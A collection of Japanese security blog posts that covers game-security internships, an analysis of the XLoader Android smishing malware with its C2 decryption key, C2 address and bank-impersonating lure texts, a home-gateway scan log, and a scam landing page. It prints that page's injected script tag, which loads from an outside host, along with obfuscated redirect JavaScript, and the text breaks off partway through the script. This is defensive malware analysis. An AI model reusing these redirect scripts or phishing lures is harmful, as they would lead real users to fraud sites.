DeNAのセキュリティチームでインターンをして笑顔になった話

はじめに

こんにちは.morimolymolyです. 絶賛セキュリティを軸に就活しています. セキュリティ就活の軸は,事業会社でのセキュリティ,専門会社でのセキュリティの2つあります. 今回は事業会社のセキュリティとして就活する中で,DeNAのセキュリティチームでインターンをさせていただきました. この記事ではそんなインターンを振り返ります.(技術的なところはかなりぼかしています.ゴメンね)

DeNAのセキュリティチームってどんな感じ?

一瞬,セキュリティベンダーかな?と疑ってしまうような幅広い守備範囲を兼ね備え,CSIRT,SOC,脆弱性診断,ネットワーク診断,中にはマルウェア解析を行っている方もいらっしゃるみたいです. では,何故ここまで強いチームができあがったのか.それは内製化によるところが大きいようです. これに関してはも出版されており,どれだけ力を入れてチームを作っていったのかが伺えます.

DeNAといえば膨大な数のゲームやWebサービス. 相当な数の攻撃を受けるので内製チームだけで回すにはとんでもない練度が必要なのは間違いないでしょう.その一端を一ヶ月間垣間見ることができました.

インターン内容

インターンでは主にスマートフォンアプリの診断トレーニングを行いました. セキュリティチーム(内部ではセキュリティ技術グループとよばれています)では,配属された人に様々なトレーニングを提供し,スキルアップしてもらうようです. 今回はスマホアプリのみですが,Webアプリなどのコンテンツも揃っているようでした.

課題は大きく2つ,

  • ネイティブライブラリを使ったCocos2d-x製アプリをチートすること
  • Unity製アプリをチートすること

でした.

課題1

1つ目の課題は暗号化された通信をときつつ,メモリ改ざんも含めチートをしようという課題でした.

Burp Suiteで通信を傍受し,暗号化がかんたんなため通信内容のみから暗号を解くように指示されました.

実際,やってみると勘があたりすぐ解くことができました.

答え合わせでGhidraとIDA Proで確認すると,なるほど!となりました(ちなみにGhidraで解析できないが,IDA Proでは解析できるケースに遭遇し興奮したのはこのとき)

暗号化の中身がわかったあとは,Burp SuiteのExtenderをPythonで書きました.

簡単に言うと暗号化を解いて通信改ざんができるようになるチートツールです.

Pythonで書くと死ぬほど辛いので書かんといてくださいよ!!

メモリ改ざんは子供の頃にやったことがあり,難なくクリア. メモリに含む内容は暗号化しないとダメですね.

課題2

2つ目の課題はSSL Pinningを解き,アプリ改ざん,通信改ざん,メモリ改ざんを全部やれというようなトレーニングでした.

ちなみにroot化なしです.

ここらへんは詳しいことは言えないですが,SSL Pinningを外すために動的と静的な手法で試し,通信改ざんをするためにリバースエンジニアリングして暗号化手法を特定し,Burp Suite用のExtenderを書き,メモリ改ざんをしてランキング1位を取ったりしました.

IDA Proをガシガシ使えて,GhidraとIDA Proのデコンパイラの精度を比較できて楽しかったです. また触ったことのない技術を使えたので学びもすごかったです.

課題総括

ここを直したらもう少しセキュアになるよね?とかこういう攻撃をするなら守り方はこれだ!みたいな気付きがかなり多かったです.それを誘導する課題を作った誰かに感謝です.素直に凄すぎです.

やはり攻撃してみないと見えてこない視点はあるので,トレーニングの機会があれば何でも挑戦したいですね.

内製ツールの話

今回はメモリ改ざんツールとOSSになっているPacket Proxyを触りました. 特にPacket Proxyの出来がよくて,UIが見やすいし,gRPCなどの通信にも対応していて,Burpのように拡張もできます. 拡張に関しては迷うことのない簡潔なインターフェイスが用意されていて,間違いないツールだなと思いました.

DeNAはその他にも難読化ツールDeClangOSSで公開しています. チーム自体がものづくりに関して積極的で,プログラミングが好きなセキュリティエンジニアが集まっているなと思いました.

単純に無いからつくるっていう精神は最高ですね.

まとめ

今回はDeNAのセキュリティチームでのインターンを軽く振り返りました. 一ヶ月間,迎えてくれたチームの皆様,人事の皆様,労務の皆様,ありがとうございました!!!!!!!!!!

これで報告を終わりたいと思います.ありがとうございました.

アカツキのセキュリティチームのインターンに行ってきた

はじめに

こんにちは。morimolymolyです。 今回は、アカツキの就業型短期インターンに参加しましたので、そちらの振り返りをしたいと思います。

アカツキとは

皆様御存知、八月のシンデレラナインなどで有名なゲームを軸に事業を展開している会社です。 なんでセキュリティやっている人間がゲーム会社のインターンを受けたのかというと、就活を進めるにあたり、セキュリティエンジニアとしてのポジションがある会社を探していたところ、アカツキにめぐりあったからです(!?)。

インターンの流れ

今回は、フルリモートでの参加となりました。 MacBook Proの15インチモデルをお借りし、業務の一端を担うことになります。 いくつかタスクが与えられ、それをこなし最終報告会で報告すると無事インターンクリアとなります。

振られたタスク

今回のインターンで振られたタスクは以下の2つになります。

  • Web脆弱性診断入門
  • アンチチートライブラリ開発

前者は、僕がWebの脆弱性診断をした経験がない(CTFのめちゃくちゃ簡単な問題で有名な脆弱性に触れる程度)ことから少し不安でした。後者はリサーチに近いものである程度裁量をもって進めることができました。(インターンなのに)

Web脆弱性診断入門

OWASP(Webセキュリティの団体)がトレーニング用に開発したやられアプリ、RailsGoatに対して攻撃し、脆弱性を発見、レポートをまとめるというトレーニングを受けました。

github.com

診断に使ったツールはBurp Suite Community Editionとniktoだけで、全部手動で診断を行いました。

最終的に20個の脆弱性を見つけてレポートにまとめることができました。 最初はクリティカルな脆弱性がみつからず、頭を捻っていましたが、メンターの方のアドバイスにより、網羅性を考え全リクエストを確認することを意識し始めたら、発見できる脆弱性の数が増えていきました。脆弱性診断には網羅性が大事なのだということを再認識することができました。

また、脆弱性診断の要となるのがレポートで、開発者にどのような脆弱性がどれほどの影響があるのかということを簡潔にわかりやすく伝える必要がありましたが、僕にはその力が欠けていたため、何度も推敲して良さげな文章を生成しました。 結果、レポートのテンプレートに10件ほどマージされることになりました。 苦労の甲斐がありました。

アンチチートライブラリ開発

アカツキではチート対策のためのライブラリの開発を行っていました。 まだ、成熟したものではないため、ある程度インターン生でも裁量を持って機能の実装などが行うことができました。

今回、振られたタスクは以下の通り。

  • フォーマッタ導入
  • ディレクトリ構成やUnitTestの導入
  • 文字列難読化処理の実装

フォーマッタの導入はclang-formatを導入するだけとお手軽。 ディレクトリ構成はLLVMなどを参考にしつつ、見通しの良いように変更しました。 UnitTestはそもそも導入されていなかったので、今回の担当箇所のみテストコードを書きました。フレームワークはGoogleTest、テストランナーはCTestにしました。

文字列難読化処理は、マルウェア解析での知見を活かして、独自の難読化処理を実装しました。IDA Proなどで実際に難読化を施したバイナリを解析して耐性を確かめたりしました。 解析していてこれ嫌だなっていう地味な嫌がらせが実装できたのではないかと思います。

総括

フルリモートでの就業型インターンでしたが、本当に充実していました。 朝はギリギリまで寝ていられるし、仕事が終わった瞬間に家なので、爆速で支度してジムに行くことだって可能なわけです。(気力があれば) コミュニケーションは基本的にSlackとZoomで行われ、毎日行われるメンターとの昼会、インターン生や社員さんとの交流のためのランチなど、なんなら出社するよりコミュニケーションが取れているのでは!?と思うほどでした。(コミュ障なので)

業務に関しては、脆弱性診断の一端を見ることができ、ゲーム会社独自のセキュリティへの取り組みというものもみることができました。

最後に

僕を受け入れてくれたチームの皆様、メンターの方、労務・人事の皆様、誠にありがとうございました。最後まで楽しくインターンできてよかったです。 以上で私のインターン報告とさせていただきます。

ありがとうございました。

宅配業者を装ったSmishingキャンペーン総括

はじめに

こんにちは、morimolymolyです。
今回は宅配業者を装ったSmishingキャンペーンについてマルウェアに関して解析を行ったので紹介いたします。
前回の記事は以下となっております(技術的でハンズオン的な内容ですので技術者でないと読みづらいかもしれません)

morimolymoly.hateblo.jp

前回の流れ

まずマルウェアに感染したとある端末から僕あてに不審なSMSが届きました。
マルウェアを解析したところ、現在猛威を奮っている凶悪なSmishingキャンペーンを動かすものでした。
これらの司令塔となるC2(コマンドアンドコントロールサーバ)を特定し、配信文面を隠蔽している場所も特定いたしました。

特定した場所に格納されている配信文面はTwitterなどでも話題になっているのと全く同一のものでした。
今回はそれにアクセスし、どのようなマルウェアが潜んでいるのか、またそのキャンペーンについて解析しました。

検体の確保と解析

Android端末から配信文面に記載されているURLに飛ぶと、不正なapkがダウンロードされます。
不正なapkをApktoolで解凍し、class.dex(マルウェア本体)を解析します。

表層解析で文字列検索してみるとURLやwebsocket(C2)のアドレスが手に入ります。
この時点で今回のマルウェアはパッキングされているものではないと推測できます。

実際に検体をGhidraに食わせてみるとやたらとサイズの大きなもので解析に時間がかかりました。
AndroidManifest.xmlのしめすエントリポイントはcom.hz.keep.MyApplicationでした。

MyApplicationクラスのonCreate()メソッドでKeeyAlive.init()という関数を呼び出していることがわかります。

f:id:morimolymoly:20210207144854p:plain

このマルウェアの主要な機能はこのKeepAliveクラスにあります。

f:id:morimolymoly:20210207145010p:plain

ご覧の通り、SMS送信機能などが難読化などなしにしっかりと実装されていました。

getDataBeiyongメソッドはC2のアドレスを取得するためにKeepAlive$3クラスを新しいスレッドとして走らせます。
このクラスのrunメソッドをみてみると実際にC2アドレスの格納されたwebページに訪問し、それから得られたC2のアドレスを共有設定に保存していることがわかります。

f:id:morimolymoly:20210207145416p:plain

C2を得たマルウェアは司令を受信するためのスレッドを立ち上げます。

f:id:morimolymoly:20210207145548p:plain

keepAlive.mHandlerというメンバに司令を受け取るためのハンドラが入っています。

これはKeepAlive$4というクラスが担当していて、C2へpingしたり、SMSを送信したりします。

f:id:morimolymoly:20210207145918p:plain

f:id:morimolymoly:20210207145937p:plain
SMS送信

マルウェアについて

マルウェアは全体的に中国語のコメントばかりでした。
また丁寧にログも吐いていて、それも中国語でした。
使っているSDKはUmengという中国特有?(少なくとも日本語情報はGoogleでは引っかかりませんでした)を使っていて、アクターは中国語圏にいることが推測できます。

www.umeng.com

キャンペーンについて

おそらく最初に解析したXLoaderがインフラとなり、この謎のマルウェアを配布しているものだと考えられます。
まだわからないことが多いので注視する必要があるでしょう。

IOC

Smishingが来たので解析した #フィッシングSMS #Androidマルウェア解析

はじめに

こんにちは。morimolymolyです。
今日は僕の携帯にきた不正なSMSとそれからもたらされる不正なapkファイル(マルウェア)の解析をします。

注意

これはサイバー犯罪注意喚起、マルウェア解析学習のために執筆した記事です。
読者の皆様は不審なURLなどはくれぐれも開かないように注意してください。

SMS受信

2021/02/02、家でぼーっとしていると1件のSMSが到着した。
番号は携帯電話の番号。
緊急事態宣言中にむやみに外に出る人間ではないため、スパムと判定し自らリンクを踏むことにした。
f:id:morimolymoly:20210203155047j:plain

するとどう解釈してもGoogleに結びつかないURLからChromeのセキュリティを指摘され、謎のapkファイルをインストールするように要求される。
f:id:morimolymoly:20210203155243j:plain

検体をダウンロードし、解析用のマシンに移しすぐさま解析に取り掛かった。

検体の表層解析

ダウンロードしたファイルはdroxdlgomh.apkと騙す気があるのか謎のapkファイルだった。
まずはapkをバラすことにした。
Apktoolでバラすと以下のような構成になっていた。

% tree
.
├── AndroidManifest.xml
├── apktool.yml
├── assets
│   └── svc
│       └── 1k7vcor
├── classes.dex
├── kotlin
│   ├── annotation
│   │   └── annotation.kotlin_builtins
│   ├── collections
│   │   └── collections.kotlin_builtins
│   ├── coroutines
│   │   └── coroutines.kotlin_builtins
│   ├── internal
│   │   └── internal.kotlin_builtins
│   ├── kotlin.kotlin_builtins
│   ├── ranges
│   │   └── ranges.kotlin_builtins
│   └── reflect
│       └── reflect.kotlin_builtins
├── lib
│   └── arm64-v8a
│       └── libnative-lib.so
├── original
│   ├── AndroidManifest.xml
│   └── META-INF
│       ├── CERT.RSA
│       ├── CERT.SF
│       └── MANIFEST.MF
└── res
    ├── drawable-xhdpi
    │   ├── ic_launcher.png
    │   └── icon.xml
    ├── layout
    │   └── main.xml
    └── values
        ├── ids.xml
        └── public.xml

17 directories, 21 files

怪しいファイルは

  • classes.dex
  • AndroidManifest.xml
  • assets/svc/1k7vcor
  • lib/arm64-v8a/libnative-lib.so

だろう。

とりあえずAndroidManifest.xmlを確認し、権限などをみていく。

<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="qkd.kavvng.va" platformBuildVersionCode="23" platformBuildVersionName="6.0-2438415">
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
    <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.CALL_PHONE"/>
    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="android.permission.WAKE_LOCK"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.WRITE_SMS"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
    <uses-permission android:name="android.permission.READ_CONTACTS"/>
    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
    <uses-permission android:name="android.permission.READ_PROFILE"/>
    <application android:icon="@drawable/ic_launcher" android:label=" Chrome" android:name="uynj.NlApplication">

権限としては以下のようなものがある(いろいろ省いているので各自確認してください)

  • WiFiの状態取得
  • ネットワークの接続管理
  • 電話の発信
  • オーディオ設定
  • スクリーンロックの解除(!!!!!!!!!)
  • SMSの受信/送信

おそらくapkをインストールした端末がbotになりフィッシングSMSを送信するのだろう。(これを受信したときの番号はあきらかに携帯電話だったのはそのため)

classes.dexは文字列を検索してもろくなものが引っかからないし、サイズが小さすぎる。
assets/svc/1k7vcorはわけのわからない小さなバイナリファイルだった。

またエントリポイントはNlApplicationであることがわかった。

検体の静的解析

Ghidraにclasses.dexとlib/arm64-v8a/libnative-lib.soを食わせる。

classes.dexには9個のclassが存在した。
しかしまともに機能するクラスは3つだった。
おそらく解析妨害のためにクラスをむやみに増やしている。

1つめはアラームサービスを設定するクラス(MaService)でlib/arm64-v8a/libnative-lib.soの中にあるJava,Util.Cov関数と連携している。
あまり重要なクラスではないのでパス。

2つめはK1ActivityでAndroid素人のためよくわからないが、大した動作を行っていない。アラームサービスを設定するクラスを呼び出したりしていた。

3つめが一番大事なクラスで、NlApplicationだ。
これはパッキングされたバイナリをアンパッキングしクラスとしてロードする。

検体によるパッキングを用いた対解析耐性

以上からわかるとおり、単に静的解析しても不正な動作をみつけることができない。
マルウェアにおいてはよくあることだが、重要な動作は解析されるのを避けるためにパッキングすることが多い。

それでは、NlApplicationのアンパック機構を解析していく。
……解析していくと意気込んでいたがそう難しいものではない。
なんとアンパックのアルゴリズムがそのままNlApplicationクラス内に存在するからだ。

NlApplicationクラスにはメソッドとして

  • a
  • b
  • c
  • d
  • e
  • f
  • g
  • h
  • i
  • コンストラク
  • onCreate

が実装されている。

NlApplicationは onCreate() → d() →h() → … と遷移していく。
この onCreate() → d() →h() のみでアンパックをする術を理解することができる。  

アンパック

アンパックアルゴリズムは d, hメソッドを読むだけで良い。
読むだけで良いのはそのままの意味で、GhidraがJavaのコードにデコンパイルしてくれるからだ。

アンパックする対象は assets/svc/1k7vcor であることがわかった。

以下にアンパックするコードを示す。(例外とか何もかもが汚いのはゆるして)

gist.github.com


変数名が謎なのは解析するときに適当に手動で名付けたのとGhidraの自動命名のため。

ペイロードの読み込み

さて、正常にペイロードを取得することができた。
上記のコードを assets/svc/1k7vcor にたいして実行するとdecryptedというファイルを取得できる。
これはzlibで圧縮されている。各自解凍すればdexファイルを得ることができるはずだ。

さて、マルウェアの解析に戻る。
アンパックが終わった後、dメソッドからiメソッドが呼ばれる。
iメソッドではアンパックされたdexから最初にロードするクラスを指定するための文字列を生成している。
単にコード中に埋め込んでしまうと解析者に有利に働くために、難読化していると思われる。
具体的には、com.Loaderというクラス名を得るために、Compilerクラスの名前をsubstring(切り取り)し、Loaderクラスの名前と文字列の合成することでcom.Loaderという文字列を動的に生成している。

iメソッドでcom.Loaderという文字列を得た後、aメソッドに遷移する。
aメソッドではbメソッドで実際にcom.Loaderクラスを得て、lib/arm64-v8a/libnative-lib.soの中にあるjava.util.c関数を呼び出し、クラスをロードさせる。

lib/arm64-v8a/libnative-lib.soの中ではわちゃわちゃとやっているが大した動作を行っていないと思う。
Javaの型定義が不足していてイマイチわからないコードになっている。

f:id:morimolymoly:20210203164944p:plain

今後もJavaの型定義が必要ならつくって公開していきたい。

アンパックされたペイロードの解析

ペイロードのエントリポイントがわからなかった。
AndroidManifest.xmlに記述はないし、デコンパイルしたapkにもそれらしきコードがない。

ひとまずcom.Loaderのコンストラクタから順にざっと確認。
以下のような機能が実装されていることがわかった。

  • Chromeとしてシステムに侵入(base64エンコードされたChromeのアイコンで偽装)(タップすると本物のChromeが立ち上がる)
  • default SMSアプリとして動作、
  • 詐欺の文言を提示するダイアログ
  • 外部SNSへ接続(htmlから正規表現でなにかを取得)(
  • インストールされているアプリのチェック
  • ローカルサーバの立ち上げ

C2機能のようなものが存在することから、botとして動き、SMSをばらまくはず。

またSMSで送信するコンテンツはどうやらSNSから取得している可能性がある。
megalodon.jp

ちょうど今日ばらまかれたSMSの文面がのっている。
これらに着目すれば今後の文面も予め予想できるのではないか。

マルウェアファミリ名が明らかに

XLoaderらしいです

www.talent-jump.com

動き

去年の3月から観測*1はされているようで、使用しているアカウントなどは変わっていない
C2はvk, youtube, instagram, GoogleDocs, blogspot, bloggerに対応できるように作られているが、今回の検体ではblogspotのみになっている。

;zc|y43wrgsdf@blogspot|wqeeqwgfdty@blogspot|y4wgres@blogspot という特徴的な文字列がアンパックしたマルウェアの中に埋め込まれていて、それを | で分割して取り出している。
日本語と韓国語で設定を変えている動きもあった。
それではC&Cサーバを特定していこう。

C2特定

実際にblogpostに訪問してみた
https://y43wrgsdf.blogspot.com/?m=1
https://y4wgres.blogspot.com/?m=1
https://wqeeqwgfdty.blogspot.com/?m=1

f:id:morimolymoly:20210206172322p:plain

どれも
woztxebZIaOjNbHBWXq877npuwlRaTZe
なる文字列が埋め込んであった。

ペイロードリバースエンジニアリングしていくと、上記のURLに訪問し、正規表現で上の文字列を取り出していることがわかった。
その文字列をbase64でデコードして、埋め込まれている Ab5d1Q32 という鍵(1年前と変わっていない)でDES暗号を復号化し、C2のアドレスを解決しているようだった。

実際にコードを書いてみて復号化してみるとC2のアドレスが取得できた。
C2: 45.114.129[.]48:28866

get_c2_from_xloader_2021-02-06.java · GitHub

一年程度では基本構造は変えないようですね。

まとめ

簡単にAndroid向けマルウェアを静的解析した。
検体はXLoaderというファミリで、おそらく基本的な構造やパッキング、難読化手法、暗号化手法も変わっていないはずだ。
C&Cサーバの監視、詐欺文面隠蔽場所の監視をすればいち早く攻撃者の動向がわかるはずだ。

それでは。

IOCs

詐欺文面等

日本語のみ抜粋。
他にも、ロシア語、中国語、韓国語、ジョージア語、タイ語ベンガル語アラビア語ヘブライ語アルメニア語に対応していた

  • [氏名]、[生年月日]を確認した後、再度入力してください
  • Googleアカウント危険、認証完了後使用してください
  • 」はより速くサイトを訪問し、そしてスマホのサーフィン体験を向上します。
  • 【JIBUN】お客様がご利用のじぶん銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください。
  • JNB】お客様がご利用のジャパンネット銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください。
  • JNB】お客様がご利用のジャパンネット銀行に対し、第三者からの不正なアクセスを検知しました。ご確認ください。
  • 【JPPOST】お客様がご利用のゆうちょ銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください。
  • MUFG】お客様がご利用の三菱UFJ銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください。
  • 【RTBK】お客様がご利用の楽天銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください。
  • 【SBI】お客様がご利用の住信SBIネット銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください。
  • 【SEVEN】お客様がご利用のセブン銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください。
  • SMBC】お客様がご利用の三井住友銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください
  • お客様がキャリア決済にご登録のクレジットカードが外部によるアクセスを検知しました、セキュリティ強化更新手続きをお願いいたします。
  • 新バージョンが発見、アップデート完了後ご使用ください

ウクライナから家に攻撃されまくっているので解析した

はじめに


こんにちは。
morimolymolyです。

最近は就活とかおもちとかおせちとかでリソースが取られまくって、いやあ正月は最高ですね。
あ、そういえば報告していなかったですが、去年は未踏スーパークリエータに認定されるなどしました。
これからも頑張りたいですね。


ところで、読者の皆様方は、大晦日の前には大掃除なんかをして家を清めて新年を迎えると思うのですが、私は就活で頭が一杯だったため、大掃除は正月に行うことにしました。


とはいえ自分の部屋は定期的に掃除をしているし、唯一掃除をしていない箇所はルーターやホームゲートウェイ付近だけでした。
WIFIルータとホームゲートウェイの認証情報を大昔に忘れてしまい、家のネットワークの治安が乱れに乱れていたため、OSINTなども活用しつつなんとかこれらへの接続をすることができました。


WIFIルータはASUSのRT-AC68Uでssh機能を備えているなかなかにイカれたやつで、ホームゲートウェイはPR-S300SEというOCNからレンタルしているめちゃくちゃ古い製品でした。これもなかなかに香ばしくて、セキュリティとか大丈夫なのか不安になってしまい今回はこれを調査することにしました。


例のごとくROMからファームウェアを吸い出しGhidraで開くと──とすると違法らしいのでやりませんでした(本当ですよ!信用してください!)
ファームウェアが最新であることを確認し、おもむろにセキュリティログなる項目をみてみると衝撃の結果が!!!


f:id:morimolymoly:20210103225518p:plain
やめてくださいよほんとに

ワイ「チノちゃん攻撃しないで!」

チノ「うるさいですね……」


NATの段階で廃棄されているのでホームゲートウェイがなかなかに優秀に攻撃を弾いてくれていました!


ただ、攻撃者のIPアドレスをみてみるとどうやらロシアやウクライナから攻撃がきているようでした。
え?なぜ?善良な市民がロシアから?どういう攻撃を?調べてみました!!!!!!!

ゲートウェイの通信を盗聴する

f:id:morimolymoly:20210103231051j:plain


PR-S300SEなるゲートウェイONUとルータが一体になったタイプで盗聴が難しそうでしたが、優秀なオタクくん(id:kyontan2)からいい感じのインターフェイスがあることを教えていただきました。ありがとうございます。


それでは早速盗聴方法をお伝えします。

まずはONUとルータの接続部分をみつけます。これはルータ本体の裏側にあるカバーを外すだけでアクセスできました。
青い線がLANケーブルですね。

f:id:morimolymoly:20210103231139j:plain

次に、LANケーブルを盗聴します。ネットワークタップを使えば簡単にできます。
これはAmazon仕入れました

Amazon | ネットワーク パケット キャプチャ モッズ オリジナル レプリカ 監視 イーサネット 通信 アケールツール スター LAN タップ Throwing Star LAN Tap | Electric Magic | PCアクセサリ・サプライ 通販

f:id:morimolymoly:20210103231600p:plain
Oh~! Shuriken!!


先程のインターフェイスから生えてるLANケーブルの一方をタップに接続し、もう片方をもとのポートに接続させるように配線させます。

f:id:morimolymoly:20210103231931j:plain

あとはWiresharkなどでパケットキャプチャしてやれば終了!

攻撃の詳細

どんなに恐ろしい攻撃が飛んできているのかと思いきや、ただのSYNスキャンでした(いやまあログから大体わかってたけども)
1時間は観測を続けましたがSYNスキャン以外は一切攻撃が来ていませんでした。
f:id:morimolymoly:20210103233658p:plain

攻撃アクターの詳細

IPは観測した限り以下の通り(もっとたくさんある!!!!!!!)

アクターは2人の可能性がある。
ウクライナのIPレンジからは同時に攻撃は来ないが、ブルガリアウクライナはかぶるときがあった。

どのホストも80でApacheが動いていた。どうして?
ちなみに古いバージョンで、脆弱性があることはまた別のお話。

f:id:morimolymoly:20210103232802p:plain

おわりに

面白い攻撃が来ていたわけではありませんでしたが、ホームゲートウェイをいじることができたので楽しかったです。
これってルータ機能だけ別にしてDMZ構築してハニーポット植えるとか……いや治安悪くしたくないので見なかったことにします。
それにしても個人のお宅にここまで攻撃が飛んでくるのはどうしてなんでしょうか?
読者の皆様もホームゲートウェイを監視して同じような攻撃が飛んできているようなら教えて下さい(安心するので)

それでは!

詐欺ランディングページを調べた

はじめに

こんにちは、morimolymolyです。
最近、Googleの検索に詐欺ランディングページが引っかかることが多くないですか?
悪質な広告によるものや、そもそもランディング用のページを作っているものなど様々ですが、今回はたまたまみつけたランディング専門につくられたページをご紹介いたします。

ランディングページ

とある個人名で調べていると引っかかったこちらのページ。 個人名をふせたソースがこちら。 2ch(5ch)のIDっぽいのがみえるし、わけわからないページ内容だし、こんな画像を唐突に貼っているし、あきらかに適当に作ったものであることは明らか。

f:id:morimolymoly:20201110200927j:plain
へんなの

個人名をふせたものがこちら。 2ch(5ch)のIDっぽいのがみえる。

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="ja">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>XXXX | XXXXのプロフィール情報</title>
<meta name="keywords" content="XXXX">
<meta name="robots" content="index,follow">
<meta name="description" content="69 ID:61xN1dju0.">
<script type="application/ld+json">
{
    "@context": "https://schema.org/",
    "@type": "Product",
    "name": "XXXX",
    "description": "net 熱くないかといえば家で食べる行楽弁当wのときも 炊きたてご飯をお釜から素手でひっくり返して容器に移していたよね。 88 ID:rj2BuIBf0.",
    "aggregateRating": {
        "@type": "AggregateRating",
        "ratingValue": "5,5",
        "bestRating": "10",
        "worstRating": "1",
        "ratingCount": "1883"
    }
}
</script>
</head>
<body>
<script src="http://tr.stoneshards.ru/trd" type="text/javascript"></script>
    <h1XXXX</h1>
    <div class="news">
        <h2>XXXXのプロフィール情報</h2>
        <img src='https://puui.qpic.cn/qqvideo_ori/0/j0510pkigvq_496_280/0' alt='XXXX' title='XXXX' style='width:200px' />
        <p>XXX</p>
        <a href="http://brokerportal.extraenergy.com/secoqet91994.html">次の</a>
    </div>
    <div class="news">
        <h2>XXXX</h2>
        <img src='http://n.sinaimg.cn/sinacn20111/85/w1080h605/20190911/480c-iekuaqt8387646.jpg' alt='XXXX' title='XXXX' style='width:200px' />
        <p>XXX</p>
        <a href="http://brokerportal.extraenergy.com/bewolev50090.html">次の</a>
    </div>
    <div class="news">
        <h2>XXXX</h2>
        <img src='https://芸能人の実家住所まとめ.com/wp-content/uploads/2017/06/Screenshot-2017-06-09_15-27-07.png' alt='XXXX' title='XXXX' style='width:200px' />
        <p>XXXX</p>
        <a href="http://brokerportal.extraenergy.com/nulizumax66573.html">次の</a>
    </div>
</body>
</html>

問題は、bodyにいきなり現れる <script src="http://tr.stoneshards.ru/trd" type="text/javascript"></script> ですね。
これが詐欺ページへと誘うJSファイルです。

謎のJSファイル

ダウンロードしてみるとゴリゴリに難読化されていました。

var _0x2bd6=['while\x20(true)\x20{}',';\x20domain=','title','gger','warn','bind','\x20|\x20','stateObject','referrer','searchers','\x5c+\x5c+\x20*(?:[a-zA-Z_$][0-9a-zA-Z_$]*)','error','return\x20/\x22\x20+\x20this\x20+\x20\x22/','constructor',';\x20expires=','length','(?:;\x20)?','href','opos','input','prototype','__proto__','cookie','debu','log','toGMTString','counter','split','return\x20(function()\x20','^([^\x20]+(\x20+[^\x20]+)+)+[^\x20]}','https://td.14-8000.ru/trds','console','test','sp_redirect','info','toString','chain','exception','trace','table','apply','com2','call','init',';\x20path=','string',';\x20secure','location'];(function(_0x4f8aab,_0x2bd6bd){var _0x533ff7=function(_0x20520a){while(--_0x20520a){_0x4f8aab['push'](_0x4f8aab['shift']());}},_0x3e47dd=function(){var _0x9f327={'data':{'key':'cookie','value':'timeout'},'setCookie':function(_0x451275,_0x24e4a7,_0x10846a,_0x331757){_0x331757=_0x331757||{};var _0x2a7fe3=_0x24e4a7+'='+_0x10846a,_0xa1a7e5=0x0;for(var _0x3a20b0=0x0,_0x48658e=_0x451275['length'];_0x3a20b0<_0x48658e;_0x3a20b0++){var _0x1595bd=_0x451275[_0x3a20b0];_0x2a7fe3+=';\x20'+_0x1595bd;var _0x572efc=_0x451275[_0x1595bd];_0x451275['push'](_0x572efc),_0x48658e=_0x451275['length'],_0x572efc!==!![]&&(_0x2a7fe3+='='+_0x572efc);}_0x331757['cookie']=_0x2a7fe3;},'removeCookie':function(){return'dev';},'getCookie':function(_0x106069,_0x97b9b6){_0x106069=_0x106069||function(_0x3a8690){return _0x3a8690;};var _0x215e2b=_0x106069(new RegExp('(?:^|;\x20)'+_0x97b9b6['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)')),_0x5a4edb=function(_0x118eb1,_0x169150){_0x118eb1(++_0x169150);};return _0x5a4edb(_0x533ff7,_0x2bd6bd),_0x215e2b?decodeURIComponent(_0x215e2b[0x1]):undefined;}},_0x7d7da3=function(){var _0x41712b=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return _0x41712b['test'](_0x9f327['removeCookie']['toString']());};_0x9f327['updateCookie']=_0x7d7da3;var _0x3c7abf='';var _0x55b47e=_0x9f327['updateCookie']();if(!_0x55b47e)_0x9f327['setCookie'](['*'],'counter',0x1);else _0x55b47e?_0x3c7abf=_0x9f327['getCookie'](null,'counter'):_0x9f327['removeCookie']();};_0x3e47dd();}(_0x2bd6,0xbb));var _0x533f=function(_0x4f8aab,_0x2bd6bd){_0x4f8aab=_0x4f8aab-0x0;var _0x533ff7=_0x2bd6[_0x4f8aab];return _0x533ff7;};var _0x1a9a42=_0x533f,_0xa1a7e5=function(){var _0x215e2b=!![];return function(_0x5a4edb,_0x3a8690){var _0x118eb1=_0x215e2b?function(){if(_0x3a8690){var _0x169150=_0x3a8690['apply'](_0x5a4edb,arguments);return _0x3a8690=null,_0x169150;}}:function(){};return _0x215e2b=![],_0x118eb1;};}(),_0x3a20b0=_0xa1a7e5(this,function(){var _0x41712b=function(){var 